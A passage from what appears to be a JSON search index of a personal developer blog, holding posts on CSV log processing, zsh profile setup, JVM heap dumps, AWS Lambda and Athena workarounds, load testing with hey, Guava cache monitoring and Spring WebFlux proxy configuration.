\u003cspan class=\"n\"\u003ecsv_file\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003ecsv_reader\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ecsv\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eDictReader\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecsv_file\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eline_count\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003erow\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003ecsv_reader\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"c1\"\u003e# Do some processing\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003efiltered_rows\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eappend\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eobj\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003edict_writer\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewriterow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eobj\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe above program reads the CSV line by line and optionally writes few columns of it to another file.\u003c/p\u003e","title":"Process huge log files"},{"content":"I have published the v1.4 of LeetCode Format which supports the new UI of LeetCode\nPlease download or update your already installed extension to get it working on Latest LeetCode UI.\nDownload here for Chrome\n","permalink":"https://madhur.co.in/blog/2023/05/21/chrome-extension-leetcode-format.html","summary":"\u003cp\u003eI have \u003ca href=\"https://github.com/madhur/leetcode-format-chrome-extension/releases/tag/1.4\"\u003epublished\u003c/a\u003e the v1.4 of LeetCode Format which supports the new UI of LeetCode\u003c/p\u003e\n\u003cp\u003ePlease download or update your already installed extension to get it working on Latest LeetCode UI.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://chrome.google.com/webstore/detail/leetcode-format/imogghebhifnnlgogigikjecilkicfpp?hl=en\"\u003eDownload here for Chrome\u003c/a\u003e\u003c/p\u003e","title":"LeetCode Format v1.4"},{"content":"I just upgraded from zsh v5.5 to zsh v5.9 and some of my applications broke.\nIt seems the environment variable $XDG_DATA_DIRS was blanked out in the process.\n$XDG_DATA_DIRS holds the location of directories which can contain .desktop files. The .desktop files are basically application shortcuts in the Linux desktop world.\nThe $XDG_DATA_DIRS and several such variables are initialized by scripts placed in /etc/profiles.d folder. This folder is executed by the /etc/profile script.\nNow, the twist is that the /etc/profile is only invoked by bash shell\nzsh uses its own set of configuration files:\n/etc/zsh/zprofile /etc/zsh/zshrc /etc/zsh/zlogin /etc/zsh/zshenv Most modern distros will have a mechanism where in /etc/zsh/zprofile will invoke the /etc/profile which in turn will invoke all the scripts placed inside /etc/profiles.d folder.\nHowever, if you are using the older distro or a non-Desktop distros such as CentOS, RedHat, this might not be the case.\nIn that case, you need to setup that linkage manually. In my case, I created the file /etc/zsh/zprofile with the contents\nemulate sh -c \u0026#39;source /etc/profile\u0026#39; One other thing I found that some distros might invoke /etc/zprofile , instead of /etc/zsh/zprofile.\nIn that case, you might want to symlink the files with\nsudo ln -s /etc/zsh/zprofile /etc/zprofile ","permalink":"https://madhur.co.in/blog/2023/05/10/zsh-and-etc-profile.html","summary":"\u003cp\u003eI just upgraded from zsh v5.5 to zsh v5.9 and some of my applications broke.\u003c/p\u003e\n\u003cp\u003eIt seems the environment variable \u003ccode\u003e$XDG_DATA_DIRS\u003c/code\u003e was blanked out in the process.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html#introduction\"\u003e\u003ccode\u003e$XDG_DATA_DIRS\u003c/code\u003e\u003c/a\u003e holds the location of directories which can contain \u003ccode\u003e.desktop\u003c/code\u003e files.\nThe \u003ca href=\"https://specifications.freedesktop.org/desktop-entry-spec/desktop-entry-spec-latest.html\"\u003e\u003ccode\u003e.desktop\u003c/code\u003e files\u003c/a\u003e are basically application shortcuts in the Linux desktop world.\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003e$XDG_DATA_DIRS\u003c/code\u003e and several such variables are initialized by scripts placed in \u003ccode\u003e/etc/profiles.d\u003c/code\u003e folder. This folder is executed by the \u003ccode\u003e/etc/profile\u003c/code\u003e script.\u003c/p\u003e","title":"zsh and /etc/profile"},{"content":"It seems taking memory dump of JVM applications have changed in recent versions.\nPre java11, heap dump was takn using the jmap command as follows:\n➜ ~/.sdkman/candidates/java/11.0.12-open/bin/jmap -dump:live, format=b,file=dump.hprof 169213 Error: More than one non-option argument Cannot connect to core dump or remote debug server. Use jhsdb jmap instea However, it doesn\u0026rsquo;t work in Java11. The new command is:\n➜ ~/.jdks/corretto-11.0.13/bin/jhsdb jmap --binaryheap --dumpfile heap.hprof --pid 169213 Attaching to process ID 169213, please wait... Debugger attached successfully. Server compiler detected. JVM version is 11.0.13+8-LTS heap written to heap.hprof There is another error which we have faced while taking heap dump of JVM11 applications\nAttaching to process ID 226420, please wait... Debugger attached successfully. Server compiler detected. JVM version is 11.0.19+7-LTS Exception in thread \u0026#34;main\u0026#34; java.lang.IndexOutOfBoundsException: bad SID 0 at jdk.hotspot.agent/sun.jvm.hotspot.runtime.vmSymbols.symbolAt(vmSymbols.java:58) at jdk.hotspot.agent/sun.jvm.hotspot.oops.InstanceKlass.getFieldName(InstanceKlass.java:353) at jdk.hotspot.agent/sun.jvm.hotspot.oops.InstanceKlass.\u0026lt;init\u0026gt;(InstanceKlass.java:153) at jdk.internal.reflect.GeneratedConstructorAccessor3.newInstance(Unknown Source) at java.base/jdk.internal.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) at java.base/java.lang.reflect.Constructor.newInstance(Constructor.java:490) at jdk.hotspot.agent/sun.jvm.hotspot.runtime.VMObjectFactory.newObject(VMObjectFactory.java:58) at jdk.hotspot.agent/sun.jvm.hotspot.runtime.VirtualBaseConstructor.instantiateWrapperFor(VirtualBaseConstructor.java:104) at jdk.hotspot.agent/sun.jvm.hotspot.oops.Metadata.instantiateWrapperFor(Metadata.java:73) at jdk.hotspot.agent/sun.jvm.hotspot.oops.java_lang_Class.asKlass(java_lang_Class.java:67) at jdk.hotspot.agent/sun.jvm.hotspot.utilities.HeapHprofBinWriter.writeClass(HeapHprofBinWriter.java:611) at jdk.hotspot.agent/sun.jvm.hotspot.utilities.AbstractHeapGraphWriter$1.doObj(AbstractHeapGraphWriter.java:82) at jdk.hotspot.agent/sun.jvm.hotspot.oops.ObjectHeap.iterateLiveRegions(ObjectHeap.java:356) at jdk.hotspot.agent/sun.jvm.hotspot.oops.ObjectHeap.iterate(ObjectHeap.java:174) at jdk.hotspot.agent/sun.jvm.hotspot.utilities.AbstractHeapGraphWriter.write(AbstractHeapGraphWriter.java:51) at jdk.hotspot.agent/sun.jvm.hotspot.utilities.HeapHprofBinWriter.write(HeapHprofBinWriter.java:443) at jdk.hotspot.agent/sun.jvm.hotspot.tools.JMap.writeHeapHprofBin(JMap.java:182) at jdk.hotspot.agent/sun.jvm.hotspot.tools.JMap.run(JMap.java:97) at jdk.hotspot.agent/sun.jvm.hotspot.tools.Tool.startInternal(Tool.java:260) at jdk.hotspot.agent/sun.jvm.hotspot.tools.Tool.start(Tool.java:223) at jdk.hotspot.agent/sun.jvm.hotspot.tools.Tool.execute(Tool.java:118) at jdk.hotspot.agent/sun.jvm.hotspot.tools.JMap.main(JMap.java:176) at jdk.hotspot.agent/sun.jvm.hotspot.SALauncher.runJMAP(SALauncher.java:369) at jdk.hotspot.agent/sun.jvm.hotspot.SALauncher.main(SALauncher.java:538) It seems this is a known issue filed here https://bugs.openjdk.org/browse/JDK-8237544\nIf anyone knows the resolution for this other than upgrading the JVM version, please let me know in the comments.\n","permalink":"https://madhur.co.in/blog/2023/04/23/taking-memory-dump-jvm.html","summary":"\u003cp\u003eIt seems taking memory dump of JVM applications have changed in recent versions.\u003c/p\u003e\n\u003cp\u003ePre java11, heap dump was takn using the jmap command as follows:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e➜ ~/.sdkman/candidates/java/11.0.12-open/bin/jmap -dump:live, format=b,file=dump.hprof 169213                                                                                                                                                           \nError: More than one non-option argument\nCannot connect to core dump or remote debug server. Use jhsdb jmap instea\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eHowever, it doesn\u0026rsquo;t work in Java11. The new command is:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e➜ ~/.jdks/corretto-11.0.13/bin/jhsdb jmap --binaryheap --dumpfile heap.hprof --pid 169213                                                                                                                  \nAttaching to process ID 169213, please wait...\nDebugger attached successfully.\nServer compiler detected.\nJVM version is 11.0.13+8-LTS\nheap written to heap.hprof\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThere is another error which we have faced while taking heap dump of JVM11 applications\u003c/p\u003e","title":"Taking memory dump of JVM Applications"},{"content":"AWS Lambda is a great way to build serverless applications.\nHowever, there lot of limitations imposed by AWS Lambda.\nFor example, one of the limitations is that the payload size of the lambda is restricted to 6 MB, when using it synchronously\nThis makes, Lambda ineffective to serve binary files such as videos, PDF\u0026rsquo;s etc.\nHowever, there is nifty workaround for this limitation, which is using S3 pre-signed URL\u0026rsquo;s\nThe idea is to upload the object to S3, generate the pre-signed URL and send it back to client. This is what we did for one of our use cases and it worked really well.\nThe following code snippet demonstrates the idea:\nimport { getSignedUrl, } from \u0026#34;@aws-sdk/s3-request-presigner\u0026#34;; import { S3Client, GetObjectCommand } from \u0026#34;@aws-sdk/client-s3\u0026#34;; const createPresignedUrlWithClient = ({ key }) =\u0026gt; { const client = new S3Client({ REGION }); const command = new GetObjectCommand({ Bucket: BUCKET_NAME, Key: key }); return getSignedUrl(client, command, { expiresIn: 3600 }); }; export const directoryLister = async (event, context, callback) =\u0026gt; { let path = event.queryStringParameters.file; let params = { Bucket: BUCKET_NAME, Key: path, ResponseContentDisposition: \u0026#34;inline\u0026#34;, }; const command = new GetObjectCommand(params); const data = await client.send(command); if (data.ContentLength \u0026gt; SIZE_THRESHOLD) { // If the size is greater than threshold, generate pre-signed url const clientUrl = await createPresignedUrlWithClient({ key: params.Key, }); const response = { statusCode: 301, headers: { Location: clientUrl, } }; context.succeed(response); return; } // Convert Body from a Buffer to a String const content = await streamToBuffer(data.Body); let base64 = content.toString(\u0026#34;base64\u0026#34;); const response = { statusCode: 200, body: base64, isBase64Encoded: true, headers: { \u0026#34;Content-disposition\u0026#34;: \u0026#34;inline\u0026#34;, \u0026#34;content-type\u0026#34;: \u0026#34;application/pdf\u0026#34;, }, }; context.succeed(response); } ","permalink":"https://madhur.co.in/blog/2023/03/23/workaround-lambda-6mb-limit.html","summary":"\u003cp\u003e\u003ca href=\"https://aws.amazon.com/lambda/\"\u003eAWS Lambda\u003c/a\u003e is a great way to build serverless applications.\u003c/p\u003e\n\u003cp\u003eHowever, there lot of limitations imposed by AWS Lambda.\u003c/p\u003e\n\u003cp\u003eFor example, \u003ca href=\"https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-limits.html\"\u003eone of the limitations is that the payload size of the lambda is restricted to 6 MB, when using it synchronously\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThis makes, Lambda ineffective to serve binary files such as videos, PDF\u0026rsquo;s etc.\u003c/p\u003e\n\u003cp\u003eHowever, there is nifty workaround for this limitation, which is using \u003ca href=\"https://docs.aws.amazon.com/AmazonS3/latest/userguide/ShareObjectPreSignedURL.html\"\u003eS3 pre-signed URL\u0026rsquo;s\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThe idea is to upload the object to S3, generate the pre-signed URL and send it back to client. This is what we did for one of our use cases and it worked really well.\u003c/p\u003e","title":"Workaround AWS Lambda 6 MB Response size limit"},{"content":"If you have been reading my posts, I am a big fan of Apache Benchmark\nApache benchmark allows you to quickly run a small load test on a single machine.\nYou can specify various options like number of request and the concurrency of those requests.\nFor example, I can send 10 million requests with a concurrency of 1000 as follows:\nab -n 10000000 -c 1000 \u0026#34;http://localhost:8080\u0026#34; Once the ab is finished benchmarking:\nServer Software: Server Hostname: localhost Server Port: 8080 Document Path: / Document Length: 53 bytes Concurrency Level: 1000 Time taken for tests: 332.363 seconds Complete requests: 10000000 Failed requests: 4301677 (Connect: 0, Receive: 0, Length: 4301677, Exceptions: 0) Total transferred: 1621642574 bytes HTML transferred: 571642574 bytes Requests per second: 30087.60 [#/sec] (mean) Time per request: 33.236 [ms] (mean) Time per request: 0.033 [ms] (mean, across all concurrent requests) Transfer rate: 4764.78 [Kbytes/sec] received Connection Times (ms) min mean[+/-sd] median max Connect: 0 15 21.8 14 1047 Processing: 0 18 3.9 17 53 Waiting: 0 13 3.2 12 41 Total: 1 33 22.2 32 1076 Percentage of the requests served within a certain time (ms) 50% 32 66% 34 75% 35 80% 36 90% 39 95% 42 98% 46 99% 49 100% 1076 (longest request) One of the things missing in ab is the ability to send requests at a specified requests/seconds\nThe ability to specify requests/seconds is very useful when testing for things such as cache evictions etc\nThat is when I stumbled upon hey\nhey is a dropin replacement for ab with the ability to specify requests/seconds\nFor example, If I want to run the load for one minute at 100 requests/seconds, I can sepcify\nhey -z 1m -q 2 \u0026#34;http://localhost:8080/\u0026#34; Here the q parameter specifies the requests per second per worker. The default number of workers are 50 (can be overriden via -c parameter)\nI also like the way the results are presented\nSummary: Total:\t60.0033 secs Slowest:\t0.3025 secs Fastest:\t0.0001 secs Average:\t0.0033 secs Requests/sec:\t99.9945 Response time histogram: 0.000 [1]\t| 0.030 [5949]\t|■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■ 0.061 [0]\t| 0.091 [0]\t| 0.121 [0]\t| 0.151 [0]\t| 0.182 [0]\t| 0.212 [0]\t| 0.242 [0]\t| 0.272 [0]\t| 0.303 [50]\t| Latency distribution: 10% in 0.0005 secs 25% in 0.0006 secs 50% in 0.0008 secs 75% in 0.0010 secs 90% in 0.0012 secs 95% in 0.0013 secs 99% in 0.0016 secs Details (average, fastest, slowest): DNS+dialup:\t0.0000 secs, 0.0001 secs, 0.3025 secs DNS-lookup:\t0.0000 secs, 0.0000 secs, 0.0013 secs req write:\t0.0000 secs, 0.0000 secs, 0.0008 secs resp wait:\t0.0032 secs, 0.0001 secs, 0.3013 secs resp read:\t0.0000 secs, 0.0000 secs, 0.0011 secs Status code distribution: [202]\t6000 responses ","permalink":"https://madhur.co.in/blog/2023/02/23/apache-benchmark-alternative-hey.html","summary":"\u003cp\u003eIf you have been reading my posts, I am a big fan of \u003ca href=\"https://httpd.apache.org/docs/2.4/programs/ab.html\"\u003eApache Benchmark\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eApache benchmark allows you to quickly run a small load test on a single machine.\u003c/p\u003e\n\u003cp\u003eYou can specify various options like number of request and the concurrency of those requests.\u003c/p\u003e\n\u003cp\u003eFor example, I can send 10 million requests with a concurrency of 1000 as follows:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eab -n 10000000 -c 1000 \u0026#34;http://localhost:8080\u0026#34;  \n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eOnce the ab is finished benchmarking:\u003c/p\u003e","title":"A nifty Apache Benchmark alternative - hey"},{"content":"Guava Cache is one of the most extensive in memory caching library for JVM.\nAny high throughput application would not only employ distributed cache such as Redis but also in memory local caching.\nThe applications I have worked on extensively used Guava Cache to serve thousands of requests per seconds.\nOne of the problems I have faced in the past is monitoring the performance of the local cache itself. For example, the following metrics are very important to monitor for any cache:\nHit Rate Miss Rate No. of entries in the cache In addition, since Guava is a Loading Cache, it is also very important to monitor The time the cache has spent loading new values\nThat is when I was looking to solution to these problems, I came across that solution is built itself in Guava Cache through recordstats\nAs per the documentation of recordstats\nEnable the accumulation of CacheStats during the operation of the cache. Without this Cache.stats()will return zero for all statistics. Note that recording stats requires bookkeeping to be performed with each operation, and thus imposes a performance penalty on cache operation.\nSince there is a performance overhead of this operation, I recommend that you have a feature flag to enable this functionality and turn it off after collecting the performance statistics for any high throughput application in production.\nHow to enable record stats? Simply use the recordStats() function while building the cache\nlocalCache = CacheBuilder .newBuilder() .expireAfterWrite(2, TimeUnit.SECONDS) .refreshAfterWrite(1, TimeUnit.SECONDS) .maximumSize(5) .recordStats() .build(new CacheLoader\u0026lt;\u0026gt;() { @Override public MatchListDO load(Integer key) { } @Override public ListenableFuture\u0026lt;Integer\u0026gt; reload(Integer key, MatchListDO oldValue) { } }); How do I visualize the data? The best way to visualize the Guava cache statistics is through Spring boot Actuator -\u0026gt; Prometheus -\u0026gt; Grafana\nFirst ensure that Spring boot actuator is enabled for your project. It can be done by adding the dependency\n\u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;spring-boot-starter-actuator\u0026lt;/artifactId\u0026gt; \u0026lt;/dependency\u0026gt; And adding the relevant properties in the configuration\nmanagement: metrics: export: prometheus: enabled: true enable.jvm: true distribution: percentiles-histogram: http: server: requests: true endpoints: web: exposure: include: health, prometheus, loggers, metrics, scheduledtasks, threaddump, info Then, we enable prometheus monitoring in our application, by adding the micrometer dependency\n\u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;io.micrometer\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;micrometer-registry-prometheus\u0026lt;/artifactId\u0026gt; \u0026lt;/dependency\u0026gt; Finally we hookup our cache with micrometer using the GuavaCacheMetrics\nGuavaCacheMetrics.monitor(meterRegistry, localCache, \u0026#34;localCache\u0026#34;); I created a Guava cache monitoring dashboard in Grafana:\nI have uploaded this sample application on github along with the Grafana dashboard\n","permalink":"https://madhur.co.in/blog/2023/01/23/monitoring-guava-cache-statistics.html","summary":"\u003cp\u003e\u003ca href=\"https://github.com/google/guava/wiki/CachesExplained\"\u003eGuava Cache\u003c/a\u003e is one of the most extensive in memory caching library for JVM.\u003c/p\u003e\n\u003cp\u003eAny high throughput application would not only employ \u003ca href=\"https://en.wikipedia.org/wiki/Distributed_cache\"\u003edistributed cache\u003c/a\u003e such as \u003ca href=\"https://redis.io/\"\u003eRedis\u003c/a\u003e but also in memory local caching.\u003c/p\u003e\n\u003cp\u003eThe applications I have worked on extensively used \u003ca href=\"https://github.com/google/guava/wiki/CachesExplained\"\u003eGuava Cache\u003c/a\u003e to serve thousands of requests per seconds.\u003c/p\u003e\n\u003cp\u003eOne of the problems I have faced in the past is monitoring the performance of the local cache itself. For example, the following metrics are very important to monitor for any cache:\u003c/p\u003e","title":"Monitoring Guava Cache Statistics"},{"content":"Recently, I was faced with a situation where I had to query AWS ALB Logs for the rows not coming from the cloudfront IP as the source.\nTo give some perspective, we use cloudfront CDN in front of our ALB, however, some of our traffic was also coming to ALB directly.\nI wanted to query the traffic directly coming from users in AWS Athena and there was no easy way to do that.\nThat\u0026rsquo;s where I decided to write User defined function (UDFS)\nAll the AWS IP ranges are mentioned in this url https://ip-ranges.amazonaws.com/ip-ranges.json\nWhat we can do is simply write a function, which will query the row and filter it out if the source IP Address lies in this range.\nHere is the simple snippet for the same:\npublic class CloudFrontFilterUDFS extends UserDefinedFunctionHandler { private static final String SOURCE_TYPE = \u0026#34;Custom\u0026#34;; static ObjectMapper mapper = new ObjectMapper(); static List\u0026lt;SubnetUtils.SubnetInfo\u0026gt; subnetUtils; static { mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); InputStream in = Thread.currentThread().getContextClassLoader().getResourceAsStream(\u0026#34;cloudfront.json\u0026#34;); CloudFront cloudfront = null; try { cloudfront = mapper.readValue(in, CloudFront.class); } catch (IOException e) { throw new RuntimeException(e); } subnetUtils = cloudfront.getPrefixes().stream().map(prefix -\u0026gt; new SubnetUtils(prefix.getIp_prefix()).getInfo()).collect(Collectors.toList()); } public CloudFrontFilterUDFS() { super(SOURCE_TYPE); } public String iscloudfrontip(String ipAddress) { if(StringUtils.isEmpty(ipAddress)) { return String.valueOf(false); } return String.valueOf(subnetUtils.stream().anyMatch(s-\u0026gt; s.isInRange(ipAddress))); } } All needs to be done is, package this in a jar file and deploy it to AWS Lambda as a function.\nOnce its deployed, its easy to query AWS athena as follows:\nUSING EXTERNAL FUNCTION IsCloudFrontIP(ip varchar) RETURNS varchar LAMBDA \u0026#39;cloudfront-filter-udfs\u0026#39; SELECT request_url, approx_percentile(target_processing_time, 0.99) as p99 FROM \u0026#34;alb_logs\u0026#34;.\u0026#34;alb_ext_logs\u0026#34; where year = \u0026#39;2023\u0026#39; and month = \u0026#39;06\u0026#39; and day = \u0026#39;14\u0026#39; and IsCloudFrontIP(client_ip)=\u0026#39;false\u0026#39; and target_status_code=\u0026#39;200\u0026#39; group by request_url order by p99 desc In the above query, cloudfront-filter-udfs is the exact name of the lambda function which is deployed.\nYou can checkout the entire the UDFS code in my github repository\n","permalink":"https://madhur.co.in/blog/2022/12/10/aws-athena-user-defined-function-cloudfront-filter.html","summary":"\u003cp\u003eRecently, I was faced with a situation where I had to query \u003ca href=\"https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-access-logs.html\"\u003eAWS ALB Logs\u003c/a\u003e for the rows not coming from the \u003ca href=\"https://aws.amazon.com/cloudfront/\"\u003ecloudfront\u003c/a\u003e IP as the source.\u003c/p\u003e\n\u003cp\u003eTo give some perspective, we use \u003ca href=\"https://aws.amazon.com/cloudfront/\"\u003ecloudfront CDN\u003c/a\u003e in front of our ALB, however, some of our traffic was also coming to \u003ca href=\"https://docs.aws.amazon.com/elasticloadbalancing/latest/application/introduction.html\"\u003eALB\u003c/a\u003e directly.\u003c/p\u003e\n\u003cp\u003eI wanted to query the traffic directly coming from users in \u003ca href=\"https://www.amazonaws.cn/en/athena/\"\u003eAWS Athena\u003c/a\u003e and there was no easy way to do that.\u003c/p\u003e\n\u003cp\u003eThat\u0026rsquo;s where I decided to write \u003ca href=\"https://docs.aws.amazon.com/athena/latest/ug/querying-udf.html\"\u003eUser defined function (UDFS)\u003c/a\u003e\u003c/p\u003e","title":"User Defined function(UDF) to filter cloudfront IP Addresses from AWS Athena Logs"},{"content":"Unuseable terminal in IntelliJ Flatpak apps If you have installed Intellij apps via Flatpak, the terminal doesn\u0026rsquo;t work properly, i.e. it won\u0026rsquo;t load the default shell properly.\nTo work around this, Add the custom command in Settings -\u0026gt; Tools -\u0026gt; Terminal and set the Shell Path as (replace zsh with preferred shell)\n/usr/bin/flatpak-spawn --host --env=TERM=xterm-256color zsh Select all functionality in terminal One of my favorite functionality is to output lot of text in terminal and copy it to clipboard.\nSadly, many popular terminal softwares, lack the Select All functionality.\nIt can be achieved in one of my favorite terminals Kitty using the following configuration\nmap ctrl+a launch --type=clipboard --stdin-source=@screen_scrollback Disable screensaver and DPMS in linux To disable DMPS (Which turns the monitor off after specified time)\nxset -dpms To disable screensaver\nxset s off ","permalink":"https://madhur.co.in/blog/2022/11/20/linux-tips-tricks.html","summary":"\u003ch2 id=\"unuseable-terminal-in-intellij-flatpak-apps\"\u003eUnuseable terminal in IntelliJ Flatpak apps\u003c/h2\u003e\n\u003cp\u003eIf you have installed Intellij apps via Flatpak, the terminal doesn\u0026rsquo;t work  properly, i.e. it won\u0026rsquo;t load the default shell properly.\u003c/p\u003e\n\u003cp\u003eTo work around this, Add the custom command in Settings -\u0026gt; Tools -\u0026gt; Terminal and set the Shell Path as (replace zsh with preferred shell)\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e/usr/bin/flatpak-spawn --host --env\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"nv\"\u003eTERM\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003exterm-256color zsh\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"select-all-functionality-in-terminal\"\u003eSelect all functionality in terminal\u003c/h2\u003e\n\u003cp\u003eOne of my favorite functionality is to output lot of text in terminal and copy it to clipboard.\u003c/p\u003e","title":"Linux Tips and Tricks"},{"content":"What\u0026rsquo;s the normal way to add http proxy in JVM?\nJAVA_FLAGS=-Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=8888 Similarly, for https\nJAVA_FLAGS=-Dhttps.proxyHost=127.0.0.1 -Dhttps.proxyPort=8888 However, these properties do not work if you are using Spring Webflux Client\nThere is a bug logged for the same\nhttps://github.com/reactor/reactor-netty/issues/887#issuecomment-549439355\nThe proxy support in Spring Webflux client code can only be added through code.\nHere is the snippet:\nprotected WebClient webClient; public void init() { webClient = WebClient.builder().filter(errorHandlingFilter()) .clientConnector(new ReactorClientHttpConnector(build())).build(); } private HttpClient build() { HttpClient httpClient = HttpClient.create() .tcpConfiguration(tcpClient -\u0026gt; tcpClient.proxy(proxy -\u0026gt; proxy.type(ProxyProvider.Proxy.HTTP).host(\u0026#34;127.0.0.1\u0026#34;).port(8888))); return httpClient; } ","permalink":"https://madhur.co.in/blog/2022/09/03/adding-http-proxy-spring-webflux-client.html","summary":"\u003cp\u003eWhat\u0026rsquo;s the normal way to add http proxy in JVM?\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eJAVA_FLAGS\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e-Dhttp.proxyHost\u003cspan class=\"o\"\u003e=\u003c/span\u003e127.0.0.1 -Dhttp.proxyPort\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"m\"\u003e8888\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eSimilarly, for https\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eJAVA_FLAGS\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e-Dhttps.proxyHost\u003cspan class=\"o\"\u003e=\u003c/span\u003e127.0.0.1 -Dhttps.proxyPort\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"m\"\u003e8888\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eHowever, these properties do not work if you are using Spring Webflux Client\u003c/p\u003e\n\u003cp\u003eThere is a bug logged for the same\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/reactor/reactor-netty/issues/887#issuecomment-549439355\"\u003ehttps://github.com/reactor/reactor-netty/issues/887#issuecomment-549439355\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThe proxy support in Spring Webflux client code can only be added through code.\u003c/p\u003e\n\u003cp\u003eHere is the snippet:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-java\" data-lang=\"java\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eprotected\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eWebClient\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ewebClient\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan 